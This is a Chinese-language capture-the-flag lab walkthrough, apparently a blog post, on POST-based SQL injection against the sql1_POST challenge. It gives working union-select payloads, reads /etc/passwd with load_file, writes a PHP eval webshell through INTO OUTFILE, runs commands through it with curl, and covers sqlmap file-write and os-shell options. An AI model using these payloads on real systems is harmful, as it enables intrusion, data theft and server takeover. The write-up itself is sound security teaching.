靶场SQL注入篇(中):以 sql1\_POST 实战,讲 POST 注入、getshell 与 sqlmap
原创
网安布道师
网安布道师
六边形攻防安全
2026年7月21日 08:32
河北
在小说阅读器读本章
去阅读
六边形攻防靶场 · Web → SQLi 系列 · 共三篇
中篇:以 sql1\_POST 实战,讲 POST 注入、getshell 与 sqlmap
六边形攻防靶场 Web → SQLi 系列 · 共三篇 中篇:以
sql1_POST实战,讲 POST 注入、getshell,并系统补上 sqlmap 简介、常用参数、六种注入技巧。
上篇在 GET 参数里学会了判断注入、Union / 报错 / 盲注。真实业务里,登录框、搜索框、JSON 接口更多走POST——注入原理不变,只是参数不再出现在 URL 里。
本篇用同一类靶场的 POST 版,目标三件事:
- POST 注入
怎么打
* SQL 注入 getshell
(load_file /INTO OUTFILE)
* sqlmap
:是什么、常用参数、六种技巧(BEUSTQ)、在本题上跑通
环境:六边形攻防靶场 → 题库 → Web → SQLi →sql1_POST。仅授权练习。
系列进度
| 篇目 | 题目 | 主线 |
|---|---|---|
| 上 | sql0_get |
原理与主战法(手工) |
| 中(本文) | sql1_POST |
POST + getshell +sqlmap 主文档 |
| 下 | sqli2 /sqli3 |
tamper、盲注进阶 |
1. 环境一眼看懂
平台路径:题库 → Web → SQLi →sql1_POST
难度:easy · 分值 22
页面标题仍是「简单的 sql 注入」,但表单是:
<form action=\"\" method=\"POST\"> <input name=\"id\" ... /> <input type=\"submit\" value=\"查询\" /> </form>
后端逻辑与上篇几乎相同:
$uid = $_POST['id']; // 注意:POST,不是 GET $sql = \"SELECT * FROM userinfo WHERE `Id` = '$uid'\";
| 对比 | sql0_get |
sql1_POST |
|---|---|---|
| 参数位置 | URL?id= |
Bodyid= |
| 注入手法 | 相同 | 相同 |
| 手工工具 | 浏览器改 URL 即可 | HackBar / Burp / curl |
| 自动化 | sqlmap -u '...?id=1' |
sqlmap --data=\"id=1\" 或-r req.txt |
图:method=POST,id=1 查出 zhangsan。
2. POST 注入怎么打(手工)
浏览器地址栏改参数无效。任选其一:
A. curl
curl -X POST --data-urlencode \"id=1' and '1'='1\" http://TARGET/ curl -X POST --data-urlencode \"id=-1' union select 1,2,3,4#\" http://TARGET/
B. Burp / 浏览器插件
抓包后改 POST body 里的id=。
C. 浏览器开发者工具
临时把表单method 改回 GET 仅便于调试,正式写 WP 仍按 POST。
列数仍是 4;Union 取 Flag:
id=-1' union select 1,(select group_concat(flag) from flag),3,4#
图:库内 Flag 可直接 Union 出(实例每次可能变化)。
上篇的报错 / 盲注 Payload原样可用,只换提交方式。本篇重点转向「出库之后」:读写文件、拿 shell。
3. SQL 注入 getshell:先想清楚前提
「注进去」不等于「一定能 getshell」。MySQL 写 Webshell 依赖:
| 条件 | 本题情况 | 怎么查 |
|---|---|---|
当前用户有FILE 权限 |
root@localhost ,通常有 |
user() /select file_priv from mysql.user... |
secure_file_priv 放行 |
空字符串 ≈ 不限制路径(老版本常见) | @@secure_file_priv |
| 知道 Web 物理路径 | /var/www/html |
报错、配置、@@basedir 旁证、猜路径 |
| 目录可写 | 可写 | 试INTO OUTFILE |
| 能通过 Web 访问写出的文件 | Apache 解析 PHP | 浏览器访问shell.php |
先摸底:
id=-1' union select 1,@@secure_file_priv,@@datadir,user()# id=-1' union select 1,@@basedir,version(),4#
3.1 读文件:load_file
id=-1' union select 1,load_file('/etc/passwd'),3,4#
图:能读到passwd,说明 FILE + 路径读取通路可用。
也可尝试load_file('/var/www/html/index.php') 回源码、确认 Web 根目录。
3.2 写文件:INTO OUTFILE
把一句话木马写进站点目录:
id=-1' union select 1,'<?php @eval($_POST[cmd]);?>',3,4 into outfile '/var/www/html/shell.php'#
注意:
INTO OUTFILE不能覆盖已存在文件;文件名被占就换s2.php等。- 多列
UNION SELECT写入时,文件里可能夹带1、制表符、3、4等噪音;PHP 仍会执行中间的<?php ... ?>。 - 需要更干净文件时可用
INTO DUMPFILE(单行二进制友好,语法列数要匹配好)。
3.3 访问 Webshell
curl -X POST -d \"cmd=system('id');\" http://TARGET/shell.php curl -X POST -d \"cmd=system('env');\" http://TARGET/shell.php curl -X POST -d \"cmd=system('ls -la /var/www/html');\" http://TARGET/shell.php
图:system('env') 读到FLAG=flag{...}——容器题常见:Flag 在环境变量。
链路总结:
POST 注入 → Union 确认权限/路径 → OUTFILE 写马 → HTTP 访问马 → 命令执行
库里直接 Union 也能出 Flag 时,getshell 不是唯一路径;但它是权限升级、落持久化、横向时的关键能力,CTF / 渗透都要会。
4. sqlmap 是什么
sqlmap 是开源的SQL 注入自动化工具:给定一个请求,它会探测注入点、识别数据库类型,再按需枚举库表、导出数据、读写文件,甚至在条件允许时拿 OS 命令执行。
| 它擅长 | 你仍要会手工的原因 |
|---|---|
| 盲注逐字节、批量拖库 | 特殊闭合 / 编码 / WAF 要自己先判断 |
| 多技术自动切换 | 理解回显才能选对--technique /--string |
| 文件读写、部分 getshell | 权限与路径仍靠原理排查 |
安装:Kali 自带;其他环境可用官方仓库或包管理器。
本系列对 sqlmap 的安排:
| 篇 | 内容 |
|---|---|
| 上 | 手工原理;对应技巧字母 U/E/B/T |
| 中(本节) | 简介、常用参数、六种技巧、POST 实战 |
| 下 | --tamper 、盲注--prefix/--suffix、--string |
5. 六种注入技巧(--technique=BEUSTQ)
sqlmap 用六个字母表示技术,可用--technique限定子集(默认几乎全开):
| 字母 | 名称 | 依赖什么 | 上篇手工对应 | 速度(通常) |
|---|---|---|---|---|
| B | Boolean-based blind | 页面真/假差异 | 布尔盲注 | 中 |
| E | Error-based | 错误信息回显 | updatexml 等 |
快 |
| U | Union query | 可联合且有回显位 | UNION SELECT |
最快 |
| S | Stacked queries | 允许多语句; |
堆叠(本题少见) | 视场景 |
| T | Time-based blind | 响应时延 | sleep /if |
慢 |
| Q | Inline queries | 可嵌套子查询形态 | 较少单独手写 | 视场景 |
记忆口诀:BEUSTQ = 布尔、报错、联合、堆叠、时间、内联。
选用建议:
有回显、列数可控 → 优先 U(可 --technique=U) 只有报错串 → E 只有真假页 / 关键词 → B(可配 --string / --not-string) 什么内容差都没有 → T(可调 --time-sec) 能分号多语句 → S(常配合写文件、xp_cmdshell 等)
堆叠(S)与内联(Q)在本系列靶场中不总是可用;知道字母含义即可,下篇盲注会重点用B/T。
6. 常用参数速查
6.1 目标与参数
| 参数 | 含义 |
|---|---|
-u URL |
目标地址(GET 参数可直接写在 URL) |
--data=\"a=1&b=2\" |
POST 体 |
-r request.txt |
从 Burp 保存的原始 HTTP 请求加载(复杂头/Cookie 首选) |
-p id |
只测指定参数 |
--method=POST |
强制方法(一般有--data 即可) |
--cookie=\"...\" |
Cookie 注入时用 |
--headers /--user-agent |
自定义头 |
6.2 识别与性能
| 参数 | 含义 |
|---|---|
--batch |
非交互,全部默认「是」 |
--dbms=mysql |
已知库类型,少做指纹探测 |
--technique=U |
只测联合(可组合如BEU) |
--level 1–5 |
测试深度(边界、头、UA 等) |
--risk 1–3 |
风险(含 OR 注入等更猛载荷) |
--threads=N |
并发(时间盲慎用过大) |
--time-sec=N |
时间盲延迟秒数 |
--string /--not-string |
布尔真/假页面特征串 |
--prefix /--suffix |
自定义注入前缀/后缀(闭合难时) |
--tamper=... |
载荷变形脚本(下篇 Base64) |
--flush-session |
丢掉该目标缓存会话 |
6.3 取数与利用
| 参数 | 含义 |
|---|---|
--dbs |
列所有库 |
-D db --tables |
列表 |
-T tbl --columns |
列字段 |
-T tbl --dump |
导出表数据 |
--dump-all |
尽量导出全部(慎用) |
--sql-query=\"...\" |
执行自定义 SQL(在可利用通道上) |
--file-read=路径 |
读服务器文件 |
--file-write +--file-dest |
写文件 |
--os-cmd=\"id\" |
尝试执行一条系统命令 |
--os-shell |
交互式 OS shell(条件苛刻) |
--current-user /--current-db /--is-dba |
环境信息 |
拖库记忆链:
--dbs → -D 库 --tables → -T 表 --columns → -T 表 --dump
7. 在sql1_POST 上跑 sqlmap
7.1 把 POST 交给它
方式一:--data(本题推荐)
sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbs
方式二:-r 请求文件
POST / HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded id=1
sqlmap -r post.txt -p id --batch --dbs
7.2 识别 + 列库
sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql --dbs
实机类似:
Parameter: id (POST) Type: time-based blind Type: UNION query (4 columns) available databases: information_schema, mysql, sql_test, test
图:同一参数可命中多种 technique;有 U 时后续导出通常走 Union。
7.3 导出 Flag
sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ -D sql_test --tables sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ -D sql_test -T flag --dump
7.4 读文件 / 写文件 / 命令执行
sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ --file-read=\"/etc/passwd\" sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ --file-write=\"./w.php\" --file-dest=\"/var/www/html/w.php\" sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ --os-cmd=\"id; env | grep -i flag\"
实机回显示例:
uid=48(apache) gid=48(apache) groups=48(apache) FLAG=flag{3af8ac33f7b2d13c403d7ebc7c2b36b6}
交互 shell:
sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --dbms=mysql --os-shell
7.5 小技巧
| 场景 | 建议 |
|---|---|
| 会话错乱 | --flush-session |
| 明确有回显 | 先--technique=U 加速 |
| 布尔难判 | --string=\"特征\" (下篇登录口) |
| 只要确认能注 | --batch --dbs 即可 |
| 别一上来 | --os-shell (噪声大、条件多) |
8. 本题速通清单
| 目的 | 做法 |
|---|---|
| 手工判断 | curl -X POST -d \"id=1' and '1'='1\" URL |
| 手工 Flag | id=-1' union select 1,(select flag from flag),3,4# |
| 读文件 | ... union select 1,load_file('/etc/passwd'),3,4# |
| 写马 | ... into outfile '/var/www/html/shell.php'# |
| 执行 | POST /shell.php body:cmd=system('env'); |
| sqlmap 拖库 | --data=\"id=1\" -D sql_test -T flag --dump |
| sqlmap 命令 | --os-cmd=\"env\" 或--os-shell |
Flag 位置提示:库表sql_test.flag 与环境变量FLAG 均可能出现(以实机为准)。
小结
- POST 与 GET
:同一类拼接,改 body;Burp /--data /-r 是标配。
* getshell
:load_file +INTO OUTFILE,卡FILE / secure\_file\_priv / Web 路径。
* sqlmap
:工具负责自动化;BEUSTQ 六种技巧对应上篇手工通道;参数表够应付 80% 场景。
* 有回显优先手工 Union;sqlmap 擅长盲注、批量、文件利用。
下篇:sqli2_base64_bypass(--tamper)、sqli3_blind(登录口盲注 + 脚本 + sqlmap 进阶)。
入口:https://hexlab.fun/ → 题库 → Web → SQLi →sql1_POST
*靶场注册:公众号回复【靶场邀请码】获取邀请码即可进行注册*
建议:先自己手工测试,再对照文章;sqlmap 参数可当速查表收藏。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论